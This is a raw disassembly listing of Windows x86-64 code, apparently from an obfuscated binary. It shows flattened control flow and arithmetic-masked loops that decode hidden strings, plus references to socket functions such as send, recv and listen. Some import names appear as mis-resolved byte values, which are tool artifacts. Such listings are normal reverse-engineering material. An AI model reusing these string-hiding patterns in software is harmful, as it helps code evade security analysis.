jmp 0x1400be913
lea ecx, [rbx - 0x1b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x43
dec rbx
inc rbx
jmp 0x1400be913
lea ecx, [rbx - 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xf
add r8, r9
jmp 0x1400bf3b9
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0xb
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400be913
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x59
movzx eax, byte [rbp + rbx + 0x1a8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be913
add r10b, 0x77
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x41
jmp 0x1400be910
sub r10b, 0x1f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x27
jmp 0x1400be900
lea rdx, [rbp + 0x14be60c]
jmp 0x1400bf44c
lea rdx, [rbp + 0x91ebd7]
jmp 0x1400bf44c
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x938]
call fcn.1400042b0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x980], xmm0
movups xmmword [rbp + 0x990], xmm0
movups xmmword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x9b0], xmm0
movups xmmword [rbp + 0x9c0], xmm0
movups xmmword [rbp + 0x9d0], xmm0
movups xmmword [rbp + 0x9e0], xmm0
movups xmmword [rbp + 0x9f0], xmm0
movups xmmword [rbp + 0xa00], xmm0
mov qword [rbp + 0xa10], rax
lea rdx, [rbp + 0x958]
lea rcx, [rbp - 0x20]
call fcn.140002660
nop
mov rdx, rax
lea rcx, [rbp + 0x980]
call fcn.1400cc350
nop
lea rcx, [rbp - 0x20]
call fcn.140002800
mov eax, dword [rbp + 0x980]
test eax, eax
je 0x1400c5e35
cmp eax, 0x190
jge 0x1400c5e35
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x988]
call fcn.14005b500
test al, al
jne 0x1400c1a26
mov r9, qword [rbp + 0x998]
dec r9
lea rax, [rsp + 0x31]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x988]
lea rcx, [rbp]
call fcn.1400042f0
lea rdx, [rbp]
lea rcx, [rbp + 0x988]
call fcn.140004220
lea rcx, [rbp]
call fcn.140002800
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x988]
call fcn.14005b500
test al, al
jne 0x1400c1a26
mov byte [rbp + 0x2d8], 0xb6
mov byte [rbp + 0x2d9], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2da], Ordinal_200
mov byte [rbp + 0x2db], Ordinal_200
mov byte [rbp + 0x2dc], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x2dd], Ordinal_200
mov byte [rbp + 0x2de], Ordinal_200
mov byte [rbp + 0x2df], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x2e0], 0xdd
mov byte [rbp + 0x2e1], Ordinal_200
mov byte [rbp + 0x2e2], 0x9a
mov byte [rbp + 0x2e3], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2e4], Ordinal_211
mov byte [rbp + 0x2e5], Ordinal_211
mov byte [rbp + 0x2e6], 0xda
mov byte [rbp + 0x2e7], 0xde
mov byte [rbp + 0x2e8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2e9], Ordinal_217
mov byte [rbp + 0x2ea], 0xe6
mov byte [rbp + 0x2eb], Ordinal_79
mov byte [rbp + 0x2ec], 0x40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2ed], xmm0
mov qword [rbp + 0x2fd], rax
mov dword [rbp + 0x305], eax
mov word [rbp + 0x309], ax
movabs rsi, 0xdde8110277f7b18e
movabs r15, 0x1158771147c5dae2
movabs r14, 0x99b8330767e714aa
movzx edx, byte [rsp + 0x31]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rbx, r13
cmp rbx, 0x33
jae 0x1400c0117
movzx r11d, byte [rbp + rbx + 0x2d8]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400c010e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bf69b
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x1e
jmp 0x1400bf6c8
je 0x1400c009c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0015
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bfff3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bffa8
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c0105
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400bf6ff
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf733
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bff91
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bff5f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bff46
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bff19
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bfc86
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bfc6c
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bfc43
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400bfc1d
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bfc03
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bfbe7
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bfbc7
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400bfbaa
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400bfb8e
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bfb61
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bf740
lea r8, [r9 + 0x28]
lea r9, [r8 + 3]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c00e5
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400c00c9
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bf92e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bf911
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400bf8f4
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400bfb17
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bfad4
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bfa99
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bfa6f
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bf740
lea r8, [r9 + 5]
lea r9, [r8 + 0x61]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400bfa42
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400bfa22
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400bfa05
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bf9e9
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bf9cd
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bf9b3
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bf98d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bf964
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bf94a
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400bf740
lea r8, [r9 + 0x42]
lea r9, [r8 + 5]
jmp 0x1400bf740
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf733
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bf6d0
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2e
jmp 0x1400bf670
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1400bffc4
add r10b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bf653
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400bf653
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
jmp 0x1400bfeda
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
jmp 0x1400bff76
sub r10b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7c
jmp 0x1400bff79
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c002d
add r10b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c0059
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf653
sub r10b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x2d8], dl
inc rbx
jmp 0x1400bf653
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 2
cmp r9, 0x80
jb 0x1400bfa8a
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x18]
jmp 0x1400bffc4
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3e
cmp r8, 8
jae 0x1400bfec3
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400bfde9
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x64
jmp 0x1400bfaae
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7a
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400bfeff
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400bfd32
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bfae9
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf653
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x78
jmp 0x1400c0059
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c002d
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bff79
add r10b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2c
jmp 0x1400bff76
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
jmp 0x1400bfeda
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400bf653
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bf653
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1c
jmp 0x1400bffc4
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400bfcac
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bfb2c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bfce2
add r10b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x14
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf653
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bfd08
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c002d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bfb2c
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bfeda
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bfd49
lea edx, [r10 - 0xe]
mov ecx, Ordinal_50
jmp 0x1400bffb5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bfd74
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x26
dec rbx
inc rbx
jmp 0x1400bf653
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bfd9a
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bfeda
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bfdbf
add r10b, 0x7e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x72
jmp 0x1400bff79
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bfae9
sub r10b, 0x2e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400c00b0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bfe1f
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf653
inc rax
cmp r8, rax
jne 0x1400bfe47
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c0059
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bfe6d
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c002d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bfe90
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400bfeda
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bfaae
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400bf653
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x18
add cl, cl
add dl, cl
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x2d8], cl
jmp 0x1400bff76
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400c002d
sub r10b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf653
add r10b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x22
jmp 0x1400bff79
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5e
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bf653
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4e
jmp 0x1400bffc4
movzx r10d, bl
lea edx, [r10 - 0x76]
mov ecx, Ordinal_30
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r10b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x2d8], cl
inc r9
dec rbx
inc rbx
jmp 0x1400bf653
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 2
inc r9
dec rbx
inc rbx
jmp 0x1400bf653
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x2e
movzx r10d, bl
add r10b, 0x5a
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x76
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x2d8], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x18]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, cl
mov byte [rbp + rbx + 0x2d8], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf653
lea rax, [rbx + r14]
and dil, al
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf653
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6a
jmp 0x1400bf650
sub r10b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400bf640
lea rdx, [rbp + 0x16b4e40]
jmp 0x1400c011e
lea rdx, [rbp + 0x62ffce]
jmp 0x1400c011e
lea rdx, [rbp + 0x2d8]
mov rcx, qword [0x14023cdc8]
call fcn.1400c7f00
mov rsi, qword [0x14023cdc8]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x4c0], 0xa3
mov byte [rbp + 0x4c1], 0x85
mov byte [rbp + 0x4c2], Ordinal_143
mov byte [rbp + 0x4c3], Ordinal_143
mov byte [rbp + 0x4c4], 0x81
mov byte [rbp + 0x4c5], 0x83
mov byte [rbp + 0x4c6], 0x85
mov byte [rbp + 0x4c7], 0x5f
mov byte [rbp + 0x4c8], 0x9b
mov byte [rbp + 0x4c9], 0x80
mov byte [rbp + 0x4ca], Ordinal_143
mov byte [rbp + 0x4cb], 0x86
mov byte [rbp + 0x4cc], 0x83
mov byte [rbp + 0x4cd], Ordinal_143
mov byte [rbp + 0x4ce], __WSAFDIsSet
mov byte [rbp + 0x4cf], 0x57
mov byte [rbp + 0x4d0], Ordinal_143
mov byte [rbp + 0x4d1], 0xf7
mov byte [rbp + 0x4d2], Ordinal_45
mov byte [rbp + 0x4d3], 0x3e
mov byte [rbp + 0x4d4], Ordinal_45
mov byte [rbp + 0x4d5], 0xf8
mov byte [rbp + 0x4d6], 0xeb
mov byte [rbp + 0x4d7], 0xea
mov byte [rbp + 0x4d8], 0xff
mov byte [rbp + 0x4d9], 0xff
mov byte [rbp + 0x4da], 0xe4
mov byte [rbp + 0x4db], 0xf6
mov byte [rbp + 0x4dc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x4dd], Ordinal_60
mov byte [rbp + 0x4de], Ordinal_60
mov byte [rbp + 0x4df], Ordinal_30
mov byte [rbp + 0x4e0], 6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4e1], xmm0
movups xmmword [rbp + 0x4f1], xmm0
mov word [rbp + 0x501], ax
movabs r14, 0x7a134f8aaffdb2f
movabs r12, 0x356872ccacfefe49
movabs r15, 0x16e39eea00ff918d
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
mov rdi, r13
cmp rdi, 0x43
jae 0x1400c0de0
movzx r10d, byte [rbp + rdi + 0x4c0]
mov edx, r10d
nop dword [rax]
cmp r8, rdi
ja 0x1400c0dd7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c02cb
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x49
jmp 0x1400c0305
je 0x1400c0d6f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0ceb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c0cbc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c0c7f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c0c5c
movzx r11d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400c0dce
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400c0339
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 3
jmp 0x1400c0380
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c0c18
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0bf6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c0bda
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c0bbe
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c0b91
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c08dc
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c08c2
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c0899
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c0873
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c0857
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c0837
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c081b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c07fd
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c07df
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c07ae
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c0390
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0xa]
lea rcx, [r9 + 0x41]
cmp r8, rcx
jb 0x1400c0db2
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400c0d96
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c0576
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c055c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c0542
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c0765
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c0720
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c06e0
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c06ba
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c0390
mov r8, rcx
lea r9, [rcx + 0x28]
lea rcx, [r9 + 1]
cmp r8, rcx
ja 0x1400c068d
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c066d
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c0651
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c0635
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c0615
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c05f9
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c05d3
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c05ae
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c0592
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c0390
mov r8, rcx
lea r9, [rcx + 0x64]
jmp 0x1400c0390
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x5d
jmp 0x1400c0380
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x11
jmp 0x1400c0310
sub r11b, 0x37
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x7f
jmp 0x1400c02a0
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c0c2d
add r11b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x56
inc r9
dec rdi
inc rdi
jmp 0x1400c0283
add r11b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c0283
lea edx, [r11 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x32
add bl, dl
jmp 0x1400c0c98
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c0cd0
add r11b, 2
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xe
jmp 0x1400c0cd3
lea edx, [r11 - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x7c
add bl, dl
jmp 0x1400c0cff
add r11b, 0x46
movzx eax, r10b
and al, r11b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c0d2b
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x58
movzx eax, byte [rbp + rdi + 0x4c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0283
sub r11b, 3
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x15
mov byte [rbp + rdi + 0x4c0], bl
inc rdi
jmp 0x1400c0283
lea edx, [r11 - 0x61]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x59
add bl, dl
cmp r9, 0x200
jb 0x1400c06d1
lea edx, [r11 - 0x46]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x2c]
jmp 0x1400c0c2f
lea edx, [r11 + 0x41]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x39
add bl, dl
cmp r8, 0x42
jae 0x1400c0b5e
lea rcx, [r9 + 3]
cmp r8, rcx
jbe 0x1400c0a7d
lea edx, [r11 + 0xe]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x62
jmp 0x1400c06f5
lea edx, [r11 - 0x1d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x35
add bl, dl
lea rax, [r9 + r8]
